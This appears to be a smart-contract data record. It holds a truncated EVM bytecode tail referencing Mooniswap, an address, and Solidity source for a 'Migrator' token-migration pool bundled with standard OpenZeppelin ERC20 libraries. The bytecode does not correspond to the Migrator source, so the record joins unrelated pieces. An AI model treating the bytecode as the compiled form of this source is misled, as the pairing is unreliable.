e576040805162461bcd60e51b815260206004820152600e60248201527f746f206973206e6f742074686973000000000000000000000000000000000000604482015290519081900360640190fd5b80341115613b77576001600160a01b0383166108fc613b4d34846137c7565b6040518115909202916000818181858888f19350505050158015613b75573d6000803e3d6000fd5b505b613b91565b613b916001600160a01b038516848484614a53565b50505050565b6000818310613a0457816111ff565b600080613bcb84612067876020015164ffffffffff16426137c790919063ffffffff16565b90506000613bd985836137c7565b90506126e1856114b4613bec87866136c3565b8951612111906001600160d81b0316866136c3565b600080613c0c6150c9565b6000613c16611624565b86516001600160a01b038d166000908152601560209081526040918290208251808401909352546001600160d81b0381168352600160d81b900464ffffffffff1690820152919250613c6a91908390613ba6565b8083528651613c7991906139f4565b82526020868101516001600160a01b038c166000908152601683526040908190208151808301909252546001600160d81b0381168252600160d81b900464ffffffffff1692810192909252613cd091908390613ba6565b6020808401829052870151613ce59190613b97565b6020830152613cff6001600160a01b038c1633308c613a0b565b8551613d18906120036001600160a01b038e1630613622565b9350613d398b8b86856000015186602001518a600001518b60200151613116565b9250600083118015613d4b5750878310155b613d9c576040805162461bcd60e51b815260206004820152601f60248201527f4d6f6f6e69737761703a2072657475726e206973206e6f7420656e6f75676800604482015290519081900360640190fd5b613db06001600160a01b038b16888561375e565b8551825114613de7578151613de790613dc990866134cc565b6001600160a01b038d166000908152601560205260409020906149f6565b8560200151826020015114613e27576020820151613e2790613e0990856137c7565b6001600160a01b038c166000908152601660205260409020906149f6565b85516001600160a01b038c166000908152601660205260409020613e4c918390614adb565b6020808701516001600160a01b038c16600090815260159092526040909120613e76918390614adb565b509750975097945050505050565b600080600080600760009054906101000a90046001600160a01b03166001600160a01b031663172886e76040518163ffffffff1660e01b815260040160806040518083038186803b158015613ed857600080fd5b505afa158015613eec573d6000803e3d6000fd5b505050506040513d6080811015613f0257600080fd5b8101908080519060200190929190805190602001909291908051906020019092919080519060200190929190505050935093509350935060008060006ec097ce7bc90715b34b9f10000000009050613f7989600001516114b4613f728f8d600001516134cc90919063ffffffff16565b84906136c3565b60208a0151909150613f92906114b4613f72828f6137c7565b90506ec097ce7bc90715b34b9f100000000081111561434357613fb481614b17565b90506000613fd9826114b4613fd182670de0b6b3a76400006137c7565b61385b6111c7565b90506001600160a01b038b16613ff0576000614006565b614006670de0b6b3a76400006114b4838b6136c3565b93506001600160a01b03861661401d576000614033565b614033670de0b6b3a76400006114b4838a6136c3565b92506001600160a01b038516614068578315614053576140538b85613904565b8215614063576140638684613904565b614341565b60008411806140775750600083115b1561434157600080841161408c57600061408f565b60015b6000861161409e5760006140a1565b60015b0160ff16905060608167ffffffffffffffff811180156140c057600080fd5b506040519080825280602002602001820160405280156140ea578160200160208202803683370190505b50905060608267ffffffffffffffff8111801561410657600080fd5b50604051908082528060200260200182016040528015614130578160200160208202803683370190505b5090508d8260008151811061414157fe5b60200260200101906001600160a01b031690816001600160a01b031681525050868160008151811061416f57fe5b602090810291909101015285156141cd578882600185038151811061419057fe5b60200260200101906001600160a01b031690816001600160a01b031681525050858160018503815181106141c057fe5b6020026020010181815250505b604080517f0931753c000000000000000000000000000000000000000000000000000000008152600481019182528351604482015283516001600160a01b038b1692630931753c92869286929182916024820191606401906020808801910280838360005b8381101561424a578181015183820152602001614232565b50505050905001838103825284818151815260200191508051906020019060200280838360005b83811015614289578181015183820152602001614271565b50505050905001945050505050600060405180830381600087803b1580156142b057600080fd5b505af19250505080156142c1575060015b61432a576040805160208082526016908201527f757064617465526577617264732829206661696c6564000000000000000000008183015290517f08c379a0afcc32b1a39302f7cb8073359698411ab5fd6e3edb2c02c0b5fba8aa9181900360600190a161433d565b61433d8861433889896134cc565b613904565b5050505b505b88516020808b01518a518b83015160408051958652938501929092528383015260608301526080820185905260a08201849052517f2a368c7f33bb86e2d999940a3989d849031aff29b750f67947e6b8e8c3d2ffd69181900360c00190a1505050505050505050505050565b60408051848152831515602082015280820183905290516001600160a01b038616917fd0784d105a7412ffec29813ff8401f04f3d1cdbe6aca756974b1a31f830e5cb7919081900360600190a250505050565b600189015460028a01548190806144188b614b71565b1561442e57614427818a6137c7565b905061444f565b61444c61444561443e8d89614b76565b8b906136c3565b84906137c7565b92505b6144588a614b71565b1561446e5761446781896134cc565b905061448f565b61448c61448561447e8c89614b76565b8a906136c3565b84906134cc565b92505b83831461449e5760018d018390555b8181146144ad5760028d018190555b600087156144d2576144cd886114b46144c6858b6136c3565b87906134cc565b6144d4565b865b90506144de6150f6565b50604080516060810182528f546001600160681b038082168352600160681b82041660208301819052600160d01b90910465ffffffffffff16928201929092529082146145c6578e61453761453283613449565b612ee8565b61454084612ee8565b61454942614b92565b835479ffffffffffffffffffffffffffffffffffffffffffffffffffff16600160d01b65ffffffffffff9290921691909102177fffffffffffff00000000000000000000000000ffffffffffffffffffffffffff16600160681b6001600160681b0392831602176cffffffffffffffffffffffffff191691161790555b506145d390508a8c614bef565b6145f6576001600160a01b038c16600090815260038e01602052604090208a5190555b6146178c6146048c89614b76565b61460d8d614b71565b8b8963ffffffff16565b50505050505050505050505050565b816001600160a01b0316836001600160a01b03161415614645576137c2565b6007546001600160a01b0390811690600090851615806146da5750816001600160a01b0316633b90b9bf866040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156146ad57600080fd5b505afa1580156146c1573d6000803e3d6000fd5b505050506040513d60208110156146d757600080fd5b50515b15905060006001600160a01b038516158061476a5750826001600160a01b0316633b90b9bf866040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561473d57600080fd5b505afa158015614751573d6000803e3d6000fd5b505050506040513d602081101561476757600080fd5b50515b15905081158015614779575080155b15614786575050506137c2565b60006001600160a01b03871661479d5760006147a6565b6147a6876117b4565b905060006001600160a01b0387166147bf5760006147c8565b6147c8876117b4565b9050600061480a6001600160a01b038916156147e55760006147e7565b875b6120036001600160a01b038c1615614800576000614802565b895b6121116111c7565b9050614814615116565b6040518061010001604052808b6001600160a01b031681526020018a6001600160a01b03168152602001871515815260200186151581526020018981526020018581526020018481526020018381525090506000806000896001600160a01b031663edb7a6fa6040518163ffffffff1660e01b815260040160606040518083038186803b1580156148a457600080fd5b505afa1580156148b8573d6000803e3d6000fd5b505050506040513d60608110156148ce57600080fd5b508051602082015160409092015190945090925090506148f384846130c36008614bf6565b6149028483612f65600c614bf6565b61461784826143af6010614bf6565b600081836149605760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156134065781810151838201526020016133ee565b50600083858161496c57fe5b0495945050505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001790526137c2908490614d70565b6149ff81614e21565b614a0842614e7b565b83546001600160d81b0392831664ffffffffff909216600160d81b029216919091177fffffffffff000000000000000000000000000000000000000000000000000000161790915550565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f23b872dd00000000000000000000000000000000000000000000000000000000179052613b91908590614d70565b6040805180820190915283546001600160d81b0381168252600160d81b900464ffffffffff1660208201526137c2908490613861908585613ba6565b60006003821115614b5b5781600160028204015b81811015614b5357809150600281828681614b4257fe5b040181614b4b57fe5b049050614b2b565b509050611718565b8115614b6957506001611718565b506000611718565b511590565b815160009015614b8c5750815160001901611079565b50919050565b600066010000000000008210612f42576040805162461bcd60e51b815260206004820152601d60248201527f76616c756520646f6573206e6f742066697420696e2034382062697473000000604482015290519081900360640190fd5b5190511490565b614bfe6150e3565b5083516001600160a01b03166000908152600382016020908152604091829020825191820190925290548152614c326150e3565b506020808601516001600160a01b031660009081526003840182526040908190208151928301909152548152614c6782614b71565b8015614c775750614c7781614b71565b8015614c84575085604001515b8015614c91575085606001515b15614d03578551614ccc90614ca68488614b76565b6001614cc38a608001518b60a001516137c790919063ffffffff16565b8863ffffffff16565b6020860151614cfc90614cdf8388614b76565b6001614cc38a608001518b60c001516134cc90919063ffffffff16565b5050613b91565b856040015115614d3d57855160a08701516080880151614d3d92918591614d2b9082906137c7565b60e08b01518894939291908b8b614ed7565b856060015115614d6857602086015160c08701516080880151614d6892918491614d2b9082906134cc565b505050505050565b6060614dc5826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316614efb9092919063ffffffff16565b8051909150156137c257808060200190516020811015614de457600080fd5b50516137c25760405162461bcd60e51b815260040180806020018281038252602a8152602001806152d8602a913960400191505060405180910390fd5b6000600160d81b8210612f42576040805162461bcd60e51b815260206004820152601e60248201527f76616c756520646f6573206e6f742066697420696e2032313620626974730000604482015290519081900360640190fd5b6000650100000000008210612f42576040805162461bcd60e51b815260206004820152601d60248201527f76616c756520646f6573206e6f742066697420696e2034302062697473000000604482015290519081900360640190fd5b612fc98888888715614ee95789614ef1565b614ef1613866565b8989898989614402565b60606111fc84846000856060614f1085615072565b614f61576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b60208310614fa05780518252601f199092019160209182019101614f81565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114615002576040519150601f19603f3d011682016040523d82523d6000602084013e615007565b606091505b5091509150811561501b5791506134c49050565b80511561502b5780518082602001fd5b60405162461bcd60e51b81526020600482018181528651602484015286518793919283926044019190850190808383600083156134065781810151838201526020016133ee565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708181148015906134c4575050151592915050565b60405180604001604052806002906020820280368337509192915050565b604051806040016040528060008152602001600081525090565b6040518060200160405280600081525090565b604080516060810182526000808252602082018190529181019190915290565b60405180610100016040528060006001600160a01b0316815260200160006001600160a01b0316815260200160001515815260200160001515815260200160008152602001600081526020016000815260200160008152509056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573735361666545524332303a204552433230206f7065726174696f6e20646964206e6f74207375636365656445524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f5acfd09e87c0e0c91649c917b687b73362797cc26a1c21a7d92ee5d568457a464736f6c634300060c0033
[ 12, 4, 26, 7 ]
0xF39C29d8f6851d87c40c83b61078EB7384f7Cb51
// contracts/Messages.sol // SPDX-License-Identifier: Apache 2 pragma solidity ^0.8.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; contract Migrator is ERC20 { IERC20 public fromAsset; IERC20 public toAsset; uint public fromDecimals; uint public toDecimals; constructor ( address _fromAsset, address _toAsset ) // LP shares track the underlying toToken amount ERC20("Token Migration Pool", "Migrator-LP") { fromAsset = IERC20(_fromAsset); toAsset = IERC20(_toAsset); fromDecimals = ERC20(_fromAsset).decimals(); toDecimals = ERC20(_toAsset).decimals(); } // _amount denominated in toAsset function add(uint _amount) external { // deposit toAsset SafeERC20.safeTransferFrom(toAsset, msg.sender, address(this), _amount); // mint LP shares _mint(msg.sender, _amount); } // _amount denominated in LP shares function remove(uint _amount) external { // burn LP shares _burn(msg.sender, _amount); // send out toAsset SafeERC20.safeTransfer(toAsset, msg.sender, _amount); } // _amount denominated in LP shares function claim(uint _amount) external { // burn LP shares _burn(msg.sender, _amount); // send out fromAsset SafeERC20.safeTransfer(fromAsset, msg.sender, adjustDecimals(toDecimals, fromDecimals, _amount)); } // _amount denominated in fromToken function migrate(uint _amount) external { // deposit fromAsset SafeERC20.safeTransferFrom(fromAsset, msg.sender, address(this), _amount); // send out toAsset SafeERC20.safeTransfer(toAsset, msg.sender, adjustDecimals(fromDecimals, toDecimals, _amount)); } function adjustDecimals(uint _fromDecimals, uint _toDecimals, uint _amount) internal pure returns (uint) { if (_fromDecimals > _toDecimals){ _amount /= 10 ** (_fromDecimals - _toDecimals); } else if (_fromDecimals < _toDecimals) { _amount *= 10 ** (_toDecimals - _fromDecimals); } return _amount; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
